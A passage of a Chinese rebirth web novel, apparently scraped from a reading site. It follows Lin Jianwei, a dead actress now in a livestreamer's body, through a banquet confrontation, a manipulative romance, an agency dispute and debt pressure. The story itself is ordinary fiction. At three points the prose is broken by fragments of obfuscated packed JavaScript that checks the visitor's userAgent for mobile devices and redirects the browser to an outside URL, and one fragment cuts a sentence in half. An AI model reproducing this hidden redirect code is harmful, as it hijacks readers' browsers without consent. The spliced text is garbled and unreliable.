因为对谷煜有所了解,她记得首映礼之前,和闺蜜尤有芒闲聊的时候听她说,这周五晚上她不得不参加一个饭局,饭局上有谷煜。 尤有芒和林见微相识于微时,两个人从低谷时期携手走来,一起经历过没戏拍、被换角等各种心酸。 有时林见微会深夜给尤有芒打电话,哭诉她又被临时换角,有时尤有芒会跟林见微长篇累牍地控诉剧组演员对她甩大牌。 两个人互相扶持,互相鼓励,经历过各种心酸苦楚,才终于走到今天。 她们是同甘共苦的战友关系,是情比金坚的姐妹情。 《风华绝代》首映礼时,尤有芒本来在外地拍戏,但为了出席推掉了各种工作,东拼西凑凑出了半天空档,卡着时间赶了过去。 在路上的时候她跟她抱怨,这周五晚上她不得不参加一个饭局,饭局上有谷煜。 “幸好他也去,不然就是一屋子老男人加上我了。” 林见微笑问:“怎么是一屋子老男人,时闻和高翔不是也去吗?” 尤有芒呵呵笑了:“时闻江湖人称山顶洞人,黑白灰老干部,所以年纪轻轻就步入退休老干部之列了。” “至于高翔,”尤有芒收起笑意,一字一顿咬牙道,“他就不是个人。” 因此,昨天晚上林见微没有像往常一样直播,而是挂了个请假条,跑到饭局地点,京南市中心的山水饭店。 没费太大功夫,她找到了尤有芒所在的包厢。 她过去的时候,包厢门开了一个缝,迅速瞥去,她看到了尤有芒坐在中间,一旁坐着几个四五十岁在圈内颇有资历和话语权的男人。 再往旁边看去,高翔坐在右侧靠边沿的位置,嘴角噙着不怀好意的笑。 和他对着的,是一脸严肃的时闻。 时闻旁边坐着谷煜,此刻他的脸上也严肃到有些阴沉。 透着门缝,高翔慵懒但透着威胁的声音传了出来:“我知道这是霸王条款,但你若是不从,那你好闺蜜林见微过去的事……” 林见微瞬间呼吸一滞,拳头不自觉握紧。 “……可就纸包不住火了。” 尤有芒愤怒道:“你,你这个不要脸的家伙!” 一旁一个约莫五十多岁,略有些秃顶的男人笑着圆场:“别激动,高公子就是随便那么一说。” 说着他拿起酒杯:“来,我提一杯,咱们一起陪高公子喝点酒。” 尤有芒双颊微微泛红,看上去已经喝了不少,此刻实在不想再喝,便推脱道:“最近胃病犯了,实在不能再喝了。” 见对面高翔的脸瞬间沉了下去,那个秃顶男人语气中带了几分命令: “有芒,别不识抬举,今天高公子好不容易愿意坐下来,想跟你心平气和地把过去的误会说开。” “机会难得,这杯酒,你无论如何不能拒绝。” 尤有芒眉头紧皱,瞪着酒杯的目光里难掩深切的厌恶。 微红的脸颊倒映在透明酒杯中,纤细冰冷的双手在桌下扭绞在一起。 半晌,似乎下了很大决心,在高翔玩味的目光下,尤有芒拿起酒杯。 然而这时,身后突然有一人将酒杯一把夺去! 众人惊讶的目光里,谷煜站在尤有芒身后,眉头紧锁满目愤怒地看着高翔。 他把酒杯从尤有芒手中一把夺过,重重拍在桌子上,杯内倾洒出几滴液体。 “别他妈犯贱,欺负小姑娘算什么本事?有种就冲我来!” 说着,他上前一步,揪住高翔衣领! 众人立刻上前,七手八脚把二人分开,谷煜被几个人拉住,但不知怎的还是成功挣脱,双手支在桌子上,俯身紧盯高翔那副扭曲可憎的面容,一字一顿吐道: “高翔,我奉劝你别太过分。” 这时时闻走了过来,挡在谷煜前面,白色衬衣袖子向上挽起一节,露出劲瘦紧实,肌肉线条流畅的小臂。 他冷冷地看着高翔,目光里充满了厌恶。 “五年前那晚,挨揍的那几位兄弟当时在医院躺了几个月?” 高翔的目光一下子变得阴沉无比,嘴角微微抽搐起来。 时闻:“几年过去了,没想到你还是不知天高地厚,一点记性没长。” 说着他站起身走到一旁,从桌上抄起一个半满的酒瓶。 众人刷地变了脸色,刚刚七手八脚拉开谷煜的人急忙跑来,拦也不是不拦也不是,急得劝道:“别冲动,别冲动……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386751|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时闻置若罔闻,迎着高翔那威圧感十足的阴沉目光,声线平淡但透满威胁地说:“你若是想起了什么,就到此罢手,否则——” 他顺手抄起一个酒杯,重重砸在桌上,当啷一声酒杯拦腰碎成两截。 尖锐的光反在时闻幽深的眼底:“正好我最近没工作,有时间锻炼身体。你有本事就一辈子别出门,不然就做好准备,随时进医院急诊室。” 说完,他将手里的半截酒杯随意扔掉,然后看也不看高翔一眼,大步走回自己座位。 室内一片沉寂,那几个攥局的人面面相觑,既而所有目光都聚在高翔脸上。 高翔早已脸色铁青,瘦削的脸颊在灯光映照下显得愈发下凹,嘴角微微抽搐。 林见微还想再听下去,但包厢内传来一阵脚步声,林见微赶忙朝不远处的洗手间走去。 在转角处她迅速回头看了一眼,只见走出来的是谷煜,脸上乌云密布,整个人显得愤怒至极。 匆匆一瞥中,他好像也在朝洗手间走来。 只不过因为沉浸在气愤中,他没有仔细看路。 于是,当他解决完从厕所出来的时候,一下子和林见微撞了个满怀。 “啊!!”林见微发出高分贝惊叫,整个人向后滚落。 谷煜大惊之下慌忙想去搀扶,但林见微已经摔得四仰八叉,在地板上痛苦地揉着胳膊。 “对不起,对不起,你,你没事吧?”谷煜原本喝了点酒,但见到被自己撞飞在地板上哭天喊地的林见微,一下子清醒过来。 “我……啊啊啊啊!”林见微揉着胳膊,发出痛彻心扉的叫喊。 谷煜懊悔不已,他责怪自己刚刚怎么就没仔细看路,把小姑娘撞成这样。 她看上去那么瘦弱,被自己蛮力撞了一下,现在肯定痛得起不了身。 他走过去,小心翼翼地问:“撞哪儿了,我能看一下吗?” 林见微捂着胳膊,龇牙咧嘴地摇头:“没事,你先走吧。” 谷煜愈发内疚不已,坚持道:“我送你去医院吧,真的太对不起了,医药费我出,我这就给司机打电话……” “真不用。”林见微阻拦道,握住他伸向口袋的手。 那是一双十分冰冷的手,谷煜心里泛起一阵内疚: 饭店冷气开得太足,他穿着衬衣西裤都觉得有些凉,更何况这个穿着短裙的瘦弱女孩。 他生平最不喜倚强凌弱,刚刚高翔那副丑恶嘴脸在脑海中挥之不去,现在自己却做了同样的事。 他良心受到煎熬,内疚无比地看着林见微,犹豫片刻还是说: “那你看怎么办,要不我找个女孩子过来陪你去医院?我的车就在楼下,我送你们。” 林见微摇摇头:“不用,我就是……我下午刚刚打了疫苗,打在胳膊上,所以被撞了一下之后特别疼。” 说着,她泪眼涟涟地望着谷煜,目光柔软而坚强。 谷煜听到没有伤筋动骨,瞬间长舒口气,挠挠头问道:“那我扶你起来,地上凉。” 见林见微没拒绝,谷煜立刻伸手,将她从地板上拉起。 林见微感激不尽地看着他:“谢谢你,我没事,刚刚让你担心了。” 谷煜也感激不尽:“不不,是我犯了错,把你撞成这样,你不怪我就好。” 犹豫片刻,他还是说:“要不咱俩留个联系方式,你要真有事了联系我。” 林见微坚决摆手:“不,真不用,第一我确实没大事,第二,”林见微声音放低,“能来这个饭店吃饭的人,非富即贵。” “你能在周五晚上在这里订到座位,说明你肯定有些身份地位。你第一次见我,不知道我的底细,也不知道我会不会另有所图,但还是愿意留联系方式,我感激你的大度。” “但是,毕竟你我素昧平生,对于你来说,留下陌生女孩的联系方式总是冒险的,毕竟可能带来后患。” “所以,我休息一下就好,你赶快回去吧。” 谷煜心里十分震惊,因着他的身份,过去确实有许多女孩子千方百计地往他身上扑。 刚刚他心里也确实留了一丝怀疑,担心林见微是故意做局,引他上钩。 但听了林见微的一席话,看着她苍白的脸,他震惊之余,心里涌起了无限愧疚和自责。 想了想,虽然有一百个不放心,他还是松口道:“好,那我先回去了。咱们有缘再见。” 一天后。 在麦乐鸡的客厅里,面对林见微,谷煜露出欣慰笑容: “这么巧,看来咱们挺有缘的。” 陈怀顾将林见微搂紧,警备地看着谷煜:“你是谁?” 9. 九 谷煜笑了,拿着酒杯指着陈怀顾:“你是她男朋友?” 陈怀顾的眼里全是戒备,望着林见微:“你俩怎么认识的?” 谷煜抢道:“机缘巧合,你俩是怎么认识的?” 陈怀顾更用力地搂着林见微,冷冷回:“和你无关。” 说着,在谷煜意味深长的目光里,不由分说将林见微拉到房间一角。 还没等陈怀顾发问,林见微立刻交待:“我和他是昨晚认识的,昨天我和我朋友去林朗饭店吃饭,中途去洗手间的时候,正好和他撞在一起。” “他道了歉,我接受了道歉,就是这样。” “不信,你现在就可以去问他。” 陈怀顾目光中的逼问意味渐渐消散,他开口时语气很软:“宝贝,我不是不相信你,谷煜是个富二代,身家过亿,他们这种人经常沾花惹草,不计后果。” “我害怕他欺负你单纯善良,做出伤害你的事情。” 林见微内心冷笑:沾花惹草,不计后果? 说的不就是你自己吗? 但面上她笑说:“放心吧,我把自己保护得可好了。” 说着,她踮起脚,凑到陈怀顾耳梢,香软温暖的气息喷在耳侧:“我不会允许别的男人欺负你的小宝贝的。” 陈怀顾心神荡漾,立刻将刚刚的不快忘到九霄云外,握紧她的小手,在她额前轻轻一吻。 “你最听话啦。今晚别回去了,跟我走吧。” 林见微虎躯一震:她可不想和陈怀顾有什么深入的肢体接触。 想想就觉得恶心。 但表面还是维持甜美笑容,为难道:“可是我今晚要直播……和公司约定好的,每天直播12小时,不然就扣工资。” 陈怀顾皱眉,握紧她的手:“什么破工作,咱别做了行吗,你辞职,我养你。” 林见微顺势依偎在他肩头,轻叹道:“不行呀,不能毁约,不然会被告上法庭,上今日说法。” 陈怀顾笑着捏捏她的脸:“放心吧有我呢,这是霸王条款,你放心辞职,我会给你聘请最好的律师,保证帮你争取最大权益。” 林见微兴奋地雀跃道:“是吗?那可太好了!” 但转而又垂下眼皮,长而翘的睫毛压下,在眼睑下形成淡淡阴影。 “但解约也需要时间,我……我怕我在这个过程中很快就没钱了。” 林见微声音越来越低,陈怀顾心疼地看着她,用力地握了握她肩膀:“怎么,我每个月给你的二十万生活费,不够花吗?” 林见微抬头,楚楚可怜看着他:“呃……本来是够的,但是……但是最近手头确实有点紧张……” 陈怀顾:“那就加倍,每个月四十万。” 林见微:“……要不凑个整,每个月五十万?” 陈怀顾看着她清纯可人的样子,笑着摇摇头,挂了她的鼻头。 停顿片刻,他咬牙道:“好,五十万就五十万。” 林见微开心地跳了起来,端着他的脸认真问道:“那这个月的能今晚就给我吗?” 陈怀顾宠溺地笑道:“好,今晚就给,看你小财迷的样子。” 二人你侬我侬间,旁边突然响起一声轻咳。 循声望去,麦乐鸡正站在不远处,阴晴不定地看着这对小情侣。 陈怀顾:“你来的正好,咱们谈谈刚刚说的牛羊肉供应链吧……” “我找大劈叉有点事。”麦乐鸡冷冷打断。 陈怀顾犹豫地看看似乎有点来者不善的麦乐鸡,又看看满眼透着可怜的林见微,正犹豫间,林见微对麦乐鸡说: “行,咱们找个私密的地方单独聊。” 二人来到楼上一间卧室——这个卧室看上去是客卧,但即便如此也比普通人家里的主卧大了一倍有余。 偌大的空间里摆着超大双人床、沙发、躺椅、书桌,巴洛克混搭后现代风,一切都那么不伦不类。 麦乐鸡关上门,正色看着大劈叉。 “你什么意思?”麦乐鸡单刀直入。 大劈叉望了一眼紧闭的房门:“你想干什么?” 麦乐鸡冷笑道:“这句话应该是我问你吧。你花这么长时间,做了这么大一个局,想干什么?” 既而她压低声音:“是为了解约吗?” 解约?看来大劈叉早就对霸王条款心存不满,提出过解约。 很明显公司没同意,一直压制她。 林见微顺水推舟:“我是有这个心思。” 麦乐鸡不屑地笑了一声:“我就知道,但我告诉你,”她一字一顿咬牙道,“你这是痴心妄想。” 大劈叉:“你是不是法盲?那些条款本就是霸王条款,法院不会认的。” 麦乐鸡甩甩头发,冷笑地看着大劈叉:“你别以为傍上了男明星就觉得自己有见识了不起,我问你,你和陈怀顾是私下里偷偷在一起的吧。” “陈怀顾的正宫是林见微,她意外坠楼,现在在医院昏迷不醒。” “我要是把你们交往的事捅出去,呵呵,你想象一下舆论会怎么说。” 看着大劈叉低垂的眼皮,麦乐鸡居高临下道: “女友失足坠楼在急诊室昏迷抢救,男友偷偷溜走和小三暗自幽会。” “陈怀顾疑似出轨:和林见微交往期间劈腿十八线女主播扬州大劈叉。” “软饭男疑似脚踏两只船,细数渣男陈怀顾过往情史。” 林见微打断道:“好了别说了,所以公司不想和我解约对吧?我要是逼公司解约,他们就会曝光陈怀顾出轨的事情,让他成为人人喊打的过街老鼠。” 麦乐鸡嘴角上扬:“是这么个意思。” 林见微清了清嗓子,沉着冷静地看着麦乐鸡:“首先,陈怀顾虽然没有大红大紫,但也算是圈内人,背靠乐盛娱乐,手里有几个戏约和代言。” “如果他出问题,乐盛娱乐不会坐视不管的,公司可以找水军抹黑他公众形象,乐盛娱乐同样可以控制舆论公开辟谣。” “乐盛算是业内数一数二的经纪公司了,实力不容小觑,我们公司想和乐盛打舆论仗?谁输谁赢难道不是一目了然吗?” 望着麦乐鸡阴晴不定的目光,林见微续道:“再次,这件事和你有什么关系?我解不解约,这是我和公司的事情,你为什么这么害怕我解约?” “我一个十八线小主播,这么久了根本没给公司挣钱,你们为什么不依不饶,非要我留在这里?” 麦乐鸡的目光一下子变得有些躲闪,脸色也越来越难看。 半晌后她才开口:“林见微,距离当初你求着我带你入行,也就两年左右。在此之前我已经在这个行业里摸爬滚打好几年了。” “我走过的路,知道的事,认识的人,远比你想象的多的多。” “所以我告诉你,陈怀顾背靠乐盛,可公司也有大树撑腰,你以为我们公司能养着这么多擦边主播是因为什么?如果背后没人撑腰,公司能发展到今天么?” 林见微心里一惊,麦乐鸡刚刚提的这一层,她之前完全没有想到。 她以为她所在的公司只单纯是一个直播经纪公司,但听麦乐鸡的意思,公司远没有这么简单。 而且,公司的高层或者金主很可能手眼通天,所以即便和乐盛硬碰硬,也毫不畏惧。 眼见林见微沉默不语,麦乐鸡愈发趾高气昂:“所以,我奉劝你好自为之,别以为自己攀上一个演艺圈糊咖就觉得自己了不起了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当然,说是游戏ID也可以,人生如戏,游戏人生嘛。” 谷煜又笑了,然后望着她的胳膊:“你被撞的地方好了吗?” 林见微点点头:“嗯嗯,没事了已经。” 谷煜:“恢复得挺快。” 接着他面容变得严肃起来:“我问你些正事。刚刚我听到了你们的对话,你的事业好像一直没有起色,而且还债台高筑?” 林见微尴尬地笑了笑,挠挠头:“哎呀不好意思,让你听到了这些。” “我……唉,说来惭愧,虽然已经入行两年了,但因为不得要领,所以一直吸引不到人来看直播。” 谷煜眉毛微挑:“不得要领?” 林见微:“对……女主播嘛你懂的,直播的时候总是要想尽办法取悦观众的,尤其是男性。” 谷煜若有所思地看着她。 林见微无奈摊手:“所以,我一直没流量。” 谷煜一副“我懂了”的神态默默看着她。 林见微又续道:“没事啦,我都习惯了。放心吧,我会努力的。” “你要是有空,欢迎来我直播间玩啊!多一个不多嘛。” 谷煜笑了,阳光照在他干净的脸上,整个人显得愈发朝气,少年感十足。 迎着林见微的殷切目光,他郑重点头:“好,一定。” 林见微露出欣慰笑容,这时房门口响起一阵脚步声。 越过谷煜肩头,她看到了正阴沉走来的陈怀顾。 望着他风雨欲来的神色,她心里咯噔一声。 还没来得及说什么,陈怀顾大剌剌走进来,肩膀故意用力撞了一下谷煜,然后不由分说着一把拉过林见微往外走。 “等一等。”谷煜退后一步,挡在门口。 10. 十 陈怀顾不可思议地瞪着拦在门口的谷煜,低声喝道:“你想干什么,让开!” 谷煜目光在林见微和陈怀顾脸上盘旋几圈,然后定在陈怀顾脸上,半晌道: “陈先生花名在外,我们都有所耳闻。” “虽说有花堪折直须折,但真正的男人不会恃强凌弱,以大欺小。” “我谷煜最看不起,也最不能容忍那样的人。” “所以,你最好堂堂正正做个男人。” 陈怀顾简直不敢相信自己的耳朵,他狠狠瞪着谷煜,恨不得用目光在他脸上捅个窟窿。 半晌,他喉结上下一动,低沉道:“让开。” 谷煜却看向林见微——她被陈怀顾揽着,显得娇小无比。 林见微摇摇头,无奈地给了个“我没事”的眼神。 见谷煜还是没让开,她只得开口道:“谷公子,我们还有事。” 谷煜再三深看了二人,犹豫许久,还是默默侧过身,让出一条路。 陈怀顾甩给他一个“你给我等着”的眼神,揽着林见微走出去。 谷煜在后面喊道:“有事就联系我,我的电话是183xxxxxxxx!” 林见微:……记不住。 陈怀顾走出去时才发现众人都围在琴房门口,交头接耳,窃窃私语。 陈怀顾最在乎面子,见了这副场面,登时觉得面上下不来,目光阴沉地扫过众人,低声怒道: “你们围在这里干什么!看笑话吗!” 众人立刻鸦雀无声,麦乐鸡慌忙站出来,歉意十足:“对不起,对不起,我们看你们三个在里面待了好久,担心有什么事。” 她冲众人挥手:“都赶紧散了!站在这里像什么样子!” 众人作鸟兽散,麦乐鸡抓起陈怀顾的手,鞠躬告饶道:“真的不好意思,让您生气了。是我没做好东,改天我请你们吃饭赔罪!” 陈怀顾气冲冲甩开她的手:“不用,我还有事,先走了。” 说完,他搂着林见微,头也不回大踏步朝大门走去。 出了门,一股热浪扑面而来,陈怀顾大力拉着林见微,一路来到停车场。 他从口袋里掏出钥匙,摁了一下,汽车急急发出一声尖锐叫声。 林见微被他捏得掌骨生疼,但看着他阴沉的脸,也不敢说什么,只是乖乖爬进副驾驶,扣好安全带。 轰的一脚油门,汽车低吼着冲了出去,陈怀顾猛打方向盘,三下两下把车子开到主路上。 林见微被晃得头疼,却始终一言不发。 窗外阳光火辣刺眼,但丝毫驱赶不了陈怀顾脸上密布的乌云。 直到开出去一公里之后,才瞅着陈怀顾紧抿的薄唇,小心翼翼试探道: “你还好吗?咱们现在是去……你家?” 陈怀顾突然狂按喇叭,林见微吓了一跳,往外看去,只见对面一辆车不长眼地违规左拐。 “我c你妈的!”陈怀顾大吼大叫,眼底泛着猩红。 对面那辆车还是几乎擦着车前灯呼啸而过,陈怀顾脸色铁青,握着方向盘的手气到颤抖。 这下林见微再也不敢开口,只得乖乖看向前方,一路上如坐针毡。 左右两旁的车似乎觉出这辆车不太好惹,一路上纷纷避让,没人敢抢道。 一路上陈怀顾没有打开音乐,也没放广播,车内一片令人窒息的沉默。 不知过了多久,就在林见微抓耳挠腮脚趾扣地的时候,陈怀顾打破沉默: “去我家。” 林见微赶忙“哦”了一声,用力点点头。 陈怀顾目视前方,没再说话。 看着他紧绷的嘴角,林见微想来想去,还是大着胆子说: “其实……其实马上就要到直播的时间了。昨天没有完成直播任务,今晚得多播几个小时补回来一点。” 见陈怀顾没说话,林见微续道:“今天你能不能先送我回去,我改天再去找你?” 刚说完,林见微手心就出满了汗——陈怀顾的脸色肉眼可见地又阴了几个度。 “对不起,我,我下次加倍补给你。” 林见微的声音越来越低,陈怀顾的眼神也越来越凌冽。 在一个路口,他突然不顾马上就要直行,向左猛打方向盘,轮胎和高达四十度的沥青路面摩擦,发出一阵急促刺耳声响。 林见微尖叫一声,只见陈怀顾直接从直行道左转,拐出一个危险的U型弯,然后调头向反方向飞驰而去。 “陈怀顾!”巨大的惊骇下,林见微后背渗出冷汗,脱口而出一声大叫。 陈怀顾非常惊讶地看了她一眼——认识这么久,他从未听她大声言语过,更没听她叫过自己名字。 她怎么敢。 她怎么配。 陈怀顾心里涌起熊熊怒火,今天先是莫名其妙拉肚子,然后在麦乐鸡家里看着小女友和谷煜眉来眼去暗通款曲,之后又被谷煜当众威胁面子丢尽。 这一切实在太难忍了! 一天的怒火连续累积起来,陈怀顾再也忍不住,整个人都爆炸了一般,扭头冲林见微大吼: “既然这么想回去,那就赶紧给老子滚蛋!” 说着,他干脆向右一个急刹,随着一声凄厉鸣叫,车子急停在道路一侧。 愤怒的喇叭声从四处传来,几辆车已经开走,但还是落下车窗,冲陈怀顾比中指,大声骂了几句。 一切都发生得太突然,林见微惊魂未定,要不是有安全带拦住,刚刚她整个人简直要飞出去了。 她惊恐地看着陈怀顾,眼底隐隐燃起怒气和怨气,过去的一幕幕闪回在眼前。 原来,他比我认识的还要混蛋。 我当初真的是瞎了狗眼。 他就是个彻头彻尾的垃圾。 平日里,大劈叉在陈怀顾面前永远是低眉顺眼小心谨慎的,但此时,林见微的底色终于露了出来。 骨子里的那份倔强和不屈通过目光,如钩子一样死钉在陈怀顾脸上。 她死死地盯着他,直到他有些发毛。 陈怀顾整个人都浸在震惊和极怒之中,他盯着对面这个十分熟悉但好像突然有些陌生的女人,抖动着嘴唇想说些什么,但被林见微抢了白: “我走了。” 说完,林见微打开车门,头也不回地扬长而去。 下车后,林见微手机导航找到了最近的地铁站,坐上地铁回到了家。 陈怀顾在车内呆坐了许久,待林见微纤细的身影消失在地铁站里,他才双拳紧握砸在方向盘上,大骂一声,车子也随之发出一声尖锐刺耳的鸣叫。 林见微一路奔波,进院门的时候上衣近乎湿透。 疾步往家赶时,她突然觉得背后好像有人在指指点点。 紧接着一阵窃窃私语。 “就是她。” “嘘!别让她听见。” “她就是那个被高利贷追上门讨债的那个女的?” “好像是,物业昨天紧急加班,花了好几小时才把楼道粉刷干净。” “你看见她家楼道之前的样子了吗?听说上面全是血红色的大字!吓死人了。” “没亲眼看见,但照片都被人传群聊里了,然后又秒删了。” “她看着就不像正经人!听说是个什么主播,呵呵,谁知道天天靠的什么吃饭。” “呸,不就是个狐媚子吗,她那张脸也不知道整过几次了。” “李姐,你家住得近,让你家孩子最近没事别出门,省得沾上晦气!” 林见微只当没听见,在众人的长短议论中淡然走进楼道。 一片清凉扑面而来,陈腐的空气里混着浓烈的新漆的味道。 楼道果然焕然一新,一片洁白,丝毫看不见之前的可怖模样。 距离还款期限还剩一天。 林见微踏上楼梯,一个台阶一个台阶地往上走着。 盛夏时节,外面知了叫得正盛,楼道里则显得格外寂静,当她距离家门还有一层楼的时候,她突然觉得有些不对—— 楼上似乎有人。 楼道外的蝉鸣几乎掩盖了那呼吸声,但林见微屏住呼吸,凝神谛听,还是能听到上面略有急促的喘气声。 那人好像就站在她家门口。 她的心一下提了起来,被汗浸透的上衣凉凉地贴在身上。 她紧握栏杆,脑海中狂轰滥炸闪过许多猜想。 债主?房东?警察?邻居?还是什么不认识的人? 思忖片刻,她决定还是往家走,原因很简单—— 如果门口那人是有备而来,那他肯定已经听到了她上楼的脚步声。 现在跑已经来不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386753|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 兵来将挡水来土掩,反正这条命是她捡来的,这一世就玩一把心跳。 豁出去了。 林见微大着胆子,一步一步向上走去。 转过最后一个弯,林见微抬起头。 楼上那人也察觉到了林见微的到来,弯腰低下头。 一颗光秃秃的脑袋露了出来。 “你可回来了。”王二年招呼道。 林见微提起的心终于重重落下,快步上前:“怎么,来查岗了?我没跑路。” 王二年的心也暂时落回肚子,擦着汗,仔细端详着她:“你……你钱凑齐了吗?” 林见微:“您带手机了吗?” 王二年:“?” 林见微从包里拿出手机:“微信还是支付宝,我给你转房租,六千对吧?” 王二年忙掏出手机:“微信就行,”既而抬头打量她,好半晌才迟疑道:“你……你凑好钱了?” 林见微扫着王二年的收款码,在数字键盘上输入12000,然后点击转账。 王二年连忙说:“六千就够了,不是一万二。” 林见微抬头笑道:“这段时间给您添麻烦了,多给您六千,算我补给您过去和之后的精神损失费。” 王二年不明所以,挠了挠光秃的脑袋:“……啊?” 望着王二年欲言又止的样子,她又笑了笑:“明天晚上是还款期限,这件事会解决的,但会闹出点动静。” 王二年舔着干燥嘴唇,犹疑片刻还是问道:“怎么解决,所以你没凑齐一个亿?” 废话,当然没凑齐。 她要是有这个本事,上一世就不会落的那么惨的下场了。 林见微正色道:“三天内凑齐一个亿,这本就是不可能完成的任务。既然不可完成,又想解决问题,就需要非常之法。” “您既然已经收到房租了,就置身事外吧。明天晚上,我和齐哥把问题解决清楚。” 王二年实在不放心,脑海中已浮现了一副惨烈画面:一墙之隔的小房间内血流漂橹,林见微那副小身板瘫倒在大大的血泊之中。 一想起齐飞虎板砖一样硬的后背还有馒头一样大的二头肌,他就不自觉倒吸凉气,双脚发软。 晃神间他后退一步,结果提到了什么东西,不由地“嗷”地一声叫了出来。 林见微不好意思地说:“对不起,那是我买的快递。” 王二年的表情在“都死到临头了你还有心情买快递”和“你不会买的是让人早死早超生的毒药或者安眠药吧”之间反复横跳。 最终他再三深看了林见微几眼,咽了口吐沫,犹豫半晌还是嘱咐道: “小姑娘,听我一句劝,实在不行你就赶紧收拾东西跑路吧,跑得越远越好,齐哥他们势力范围有限,不会跑太远追债。” 林见微笑着摇摇头:“出来混迟早要还的,该来的总要来,跑到天涯海角也躲不过。” 说完,她绕到王二年身后,弯腰抱起快递:“谢谢您这段时间的照顾。” 王二年慌忙点头:“哪里哪里,你……你好自为之啊。” 林见微点点头,掏出钥匙插进锁孔,这时她转头说:“哦对了,能麻烦您在朋友圈里推广一下我的直播吗?直播今晚7点开始。” “这一行,我想好好做下去。” 说完,她扭动钥匙打开门,走进屋子。 王二年的微弱而颤抖声音从门缝中透来:“好……” 回到家,林见微将快递放下,打开空调,换上舒适的家居服。 伴着老式空调的低沉噪音,她掏出手机,想了片刻,还是找出心怀虚谷的微信,发了一条消息: [宝贝,今天对不起,一切都是我不好,你消消气,原谅我的不懂事好吗?][可怜][哭哭] 等了几分钟,没有收到回复。 她犹豫了一下要不要直接打电话过去,但还是作罢了。 她了解他的脾性,现在他正在气头上,是不会理会她的。 正当她打算把手机放一旁时,手机突然响了一声。 她赶忙点开锁屏,发现是香蕉直播给她发了系统私信。 她好奇点开,结果差点一口气没上来。 [您的视频No2849302涉嫌违规现已下架,请自行检查,合格后方可上传。] 11. 十一 林见微盯着这条消息好久,然后才低低骂了一声:bitch! 如果没记错的话,那条视频是她唯一一条点赞收藏过50的,内容无非就是记录一天生活的vlog,但里面介绍了一些美容产品和do脸项目,所以收藏的人挺多。 她最近两天一直在思考如何制作能吸引流量的视频,仔细研究了大劈叉过往的所有视频,交叉对比点赞收藏率,初步确定了几个可以尝试的发展方向。 其中一个就是美容护肤赛道。 没想到这条路还没开始,就被人添堵。 欺人太甚。 林见微深呼吸几口,努力平复了下心情,在脑子里复盘了最近的事。 如果不出意外,这肯定是麦乐鸡捣的鬼。 她今天几乎和麦乐鸡撕破脸皮,她气不过,反手一个举报。 而且麦乐鸡在她公司里似乎颇有地位,所以她很可能联合了一些人同时举报,故意给她添堵,以示报复。 她一帧一帧地仔仔细细看了视频,实在没觉出哪里有问题,于是便根据常见问题>创作内容底下的指南,找到了平台后台。 [您好,我是平台虚拟管理员小香蕉,请问您遇到了什么问题呢?] 得,这是个机器人。 她直播的平台名叫香蕉直播,是个最近几年在直播领域异军突起的平台,发展势头迅猛,将一些老牌的app都挤得利润稀薄。 但也因为发展太快,很多制式不甚完善,比如有的时候系统会卡bug,比如此刻当林见微想找个客服电话,但把网页翻了个底朝天也找不到。 没办法她只得耐着性子和机器人小香蕉聊着。 她输入[视频内容审核]。 屏幕上立刻跳动起六个俏皮的省略号,几秒钟后小香蕉欢快地罗列了几个选项: 了解了!请问您是在问: 视频内容审核标准、视频内容审核流程、视频内容创作灵感、如何上传我的视频 林见微点击了第一个选项。 小香蕉非常高兴地回:[好嘞!这就给您传送。] 一秒钟后,小香蕉把她丢到了视频内容审核标准的网址。 林见微手指向下拨动,页面滚动,滚动,十五秒钟后林见微心里哀嚎一声:MD这审核标准得有近一万字! 小香蕉的头像在页面右下角跳了出来:[很高兴为您服务,请问您对此次结果的满意程度是?] 林见微不假思索地点了最低的那个数字。 小香蕉很委屈地发了个哭唧唧的表情:[抱歉,我们会及时改进的!] 林见微叹了口气,关闭了和小香蕉的聊天界面,接着一目十行地读了审核规则的前半部分。 然后,她发现自己的中文水平受到了极大挑战:这些中文字拆开来她都认识,但合到一起实在是太过晦涩难懂,CPU快烧了。 叹了一口气,她还是强迫自己集中精力,挑粗体字和每一段的第一行第一句话进行阅读理解。 当她读完三分之二的时候,突然意识到问题可能存在在哪儿。 她的视频里指名道姓地介绍了几款产品,这些产品并不出名,而且名字很大众化,所以审核很可能一开始没有发觉。 但是架不住被人举报,审核带着问题对她的视频进行阅读理解后,重新审判内容不合格,不予上架。 好气哦。 林见微哀叹一声,打开视频剪辑软件,将相关镜头都做了模糊处理,配音上也做了一定消音。 重新上传后又在评论区上传了一张高糊截图,上面零星能看到一些产品的名字,懂的人自然会懂。 捣鼓完这一切,窗外已经完全黑了,对面的居民楼的住户们亮起了灯。 楼上传来叮叮当当的做饭声响,不一会儿,空气里漂浮起淡淡的饭菜味。 肚子应景地叫了一声,林见微这才意识到,她忙了一天,几乎没怎么吃东西。 然而这时,手机闹铃响了,提醒她直播时间到了。 她只得苦笑摇头:做女演员林见微的时候就吃不饱肚子,成天饿得前胸贴后背,没想到再来一次,她还是每天饥肠辘辘的。 今天她本想提前上播的,弥补一下昨晚去“偶遇”谷煜损失的时间,但没成想白天的party和下午的一番拉扯还是花掉了太多时间。 